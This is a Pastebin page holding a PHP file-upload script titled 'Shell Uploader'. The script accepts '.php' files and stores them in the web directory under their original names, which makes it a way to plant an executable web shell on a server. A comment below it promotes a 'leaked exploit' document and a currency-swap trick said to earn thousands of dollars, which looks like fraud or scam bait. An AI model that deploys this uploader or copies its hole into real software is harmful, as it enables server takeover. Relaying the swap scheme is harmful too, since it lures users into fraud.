TP2K1

Shell Uploader [PHP]

Jun 19th, 2015
6,282
0
Never
7
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.35 KB | None | 0 0
  1. <?php
  2. // Simple PHP Upload Script: http://coursesweb.net/php-mysql/
  3.  
  4. $uploadpath = './'; // directory to store the uploaded files
  5. $max_size = 2000; // maximum file size, in KiloBytes
  6. $alwidth = 900; // maximum allowed width, in pixels
  7. $alheight = 800; // maximum allowed height, in pixels
  8. $allowtype = array('txt', 'php', 'jpg', 'jpe', '7z'); // allowed extensions
  9.  
  10. if(isset($_FILES['fileup']) && strlen($_FILES['fileup']['name']) > 1) {
  11. $uploadpath = $uploadpath . basename( $_FILES['fileup']['name']); // gets the file name
  12. $sepext = explode('.', strtolower($_FILES['fileup']['name']));
  13. $type = end($sepext); // gets extension
  14. list($width, $height) = getimagesize($_FILES['fileup']['tmp_name']); // gets image width and height
  15. $err = ''; // to store the errors
  16.  
  17. // Checks if the file has allowed type, size, width and height (for images)
  18. if(!in_array($type, $allowtype)) $err .= 'The file: <b>'. $_FILES['fileup']['name']. '</b> not has the allowed extension type.';
  19. if($_FILES['fileup']['size'] > $max_size*1000) $err .= '<br/>Maximum file size must be: '. $max_size. ' KB.';
  20. if(isset($width) && isset($height) && ($width >= $alwidth || $height >= $alheight)) $err .= '<br/>The maximum Width x Height must be: '. $alwidth. ' x '. $alheight;
  21.  
  22. // If no errors, upload the image, else, output the errors
  23. if($err == '') {
  24. if(move_uploaded_file($_FILES['fileup']['tmp_name'], $uploadpath)) {
  25. echo 'File: <b>'. basename( $_FILES['fileup']['name']). '</b> successfully uploaded:';
  26. echo '<br/>File type: <b>'. $_FILES['fileup']['type'] .'</b>';
  27. echo '<br />Size: <b>'. number_format($_FILES['fileup']['size']/1024, 3, '.', '') .'</b> KB';
  28. if(isset($width) && isset($height)) echo '<br/>Image Width x Height: '. $width. ' x '. $height;
  29. echo '<br/><br/>Image address: <b>http://'.$_SERVER['HTTP_HOST'].rtrim(dirname($_SERVER['REQUEST_URI']), '\\/').'/'.$uploadpath.'</b>';
  30. }
  31. else echo '<b>Unable to upload the file.</b>';
  32. }
  33. else echo $err;
  34. }
  35. ?>
  36. <div style="margin:1em auto; width:333px; text-align:center;">
  37. <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST" enctype="multipart/form-data">
  38. Upload File: <input type="file" name="fileup" /><br/>
  39. <input type="submit" name='submit' value="Upload" />
  40. </form>
  41. </div>
Advertisement
Comments
  • User was banned
  • Comment was deleted
  • User was banned
  • User was banned
  • User was banned
  • Borlenor
    120 days
    # CSS 0.85 KB | 0 0
    1. ✅ Leaked Exploit Documentation:
    2.  
    3. https://docs.google.com/document/d/1dOCZEHS5JtM51RITOJzbS4o3hZ-__wTTRXQkV1MexNQ/edit?usp=sharing
    4.  
    5. This made me $13,000 in 2 days.
    6.  
    7. Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 25% — they will simply correct the exchange rate.
    8. The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.
    9.  
    10. Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without verification from SimpleSwap — instant swap).
  • User was banned
Add Comment
Please, Sign In to add comment